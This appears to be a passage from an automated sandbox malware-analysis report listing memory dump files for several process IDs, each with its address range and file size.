      • memory/3028-39-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-38-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-37-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-35-0x0000000000820000-0x0000000000A2B000-memory.dmp

        Filesize

        2.0MB

      • memory/3028-70-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-71-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-69-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-44-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-32-0x0000000000820000-0x0000000000A2B000-memory.dmp

        Filesize

        2.0MB

      • memory/3028-31-0x0000000000820000-0x0000000000A2B000-memory.dmp

        Filesize

        2.0MB

      • memory/3028-64-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-65-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-66-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-27-0x0000000000820000-0x0000000000A2B000-memory.dmp

        Filesize

        2.0MB

      • memory/3028-30-0x0000000077064000-0x0000000077066000-memory.dmp

        Filesize

        8KB

      • memory/3028-67-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-62-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-72-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-73-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-75-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-74-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-76-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-77-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-34-0x0000000000820000-0x0000000000A2B000-memory.dmp

        Filesize

        2.0MB

      • memory/3028-88-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-94-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-93-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-79-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-78-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-80-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-81-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-82-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-92-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-83-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-85-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-86-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-87-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-91-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-90-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3028-89-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

        Filesize

        64KB

      • memory/3136-197-0x0000000074550000-0x0000000074D00000-memory.dmp

        Filesize

        7.7MB

      • memory/3136-1-0x0000000000780000-0x0000000000788000-memory.dmp

        Filesize

        32KB

      • memory/3136-0-0x000000007455E000-0x000000007455F000-memory.dmp

        Filesize

        4KB

      • memory/3136-2-0x0000000005120000-0x00000000051BC000-memory.dmp

        Filesize

        624KB

      • memory/3136-3-0x0000000074550000-0x0000000074D00000-memory.dmp

        Filesize

        7.7MB

      • memory/3136-196-0x000000007455E000-0x000000007455F000-memory.dmp

        Filesize

        4KB

      • memory/3860-142-0x0000000000420000-0x0000000000452000-memory.dmp

        Filesize

        200KB

      • memory/3860-188-0x0000000004AB0000-0x0000000004AEC000-memory.dmp

        Filesize

        240KB

      • memory/3860-185-0x0000000004A50000-0x0000000004A62000-memory.dmp

        Filesize

        72KB

      • memory/3860-184-0x0000000004B40000-0x0000000004C4A000-memory.dmp

        Filesize

        1.0MB

      • memory/3860-183-0x0000000005050000-0x0000000005668000-memory.dmp

        Filesize

        6.1MB

      • memory/4520-309-0x0000000000400000-0x000000000044B000-memory.dmp

        Filesize

        300KB

      • memory/4520-305-0x0000000000400000-0x000000000044B000-memory.dmp

        Filesize

        300KB